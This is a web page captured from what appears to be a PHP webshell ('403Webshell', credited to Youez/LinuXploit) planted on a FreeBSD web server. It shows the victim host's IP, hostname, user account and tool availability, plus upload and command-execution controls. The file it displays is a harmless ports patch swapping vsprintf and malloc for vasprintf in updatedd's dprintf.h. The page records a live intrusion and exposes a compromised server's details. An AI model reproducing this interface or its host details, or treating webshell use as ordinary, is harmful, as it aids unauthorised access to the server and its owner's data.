403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/dns/updatedd/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/dns/updatedd/files/patch-include-dprintf.h
--- include/dprintf.h.orig	Fri Sep  8 06:03:14 2006
+++ include/dprintf.h	Mon Feb 19 16:00:43 2007
@@ -40,13 +40,9 @@
 	va_list va;
 
 	va_start(va, fmt);
-	n = vsprintf(NULL, fmt, va);
-	if(n > MAXLEN)
+	n = vasprintf(&buffer, fmt, va);
+	if(-1 == n)
 		std_err(NONE, "dprintf() failed: string is too long");
-	if((buffer = (char *)malloc((n+1) * sizeof(char))) == NULL)
-		std_err(PERR, "malloc() failed");
-	(void)vsnprintf(buffer, n+1, fmt, va);
-	*(buffer+n) = '\0';
 	va_end(va);
 
 	if(write(s, buffer, n) == -1)

Youez - 2016 - github.com/yon3zu
LinuXploit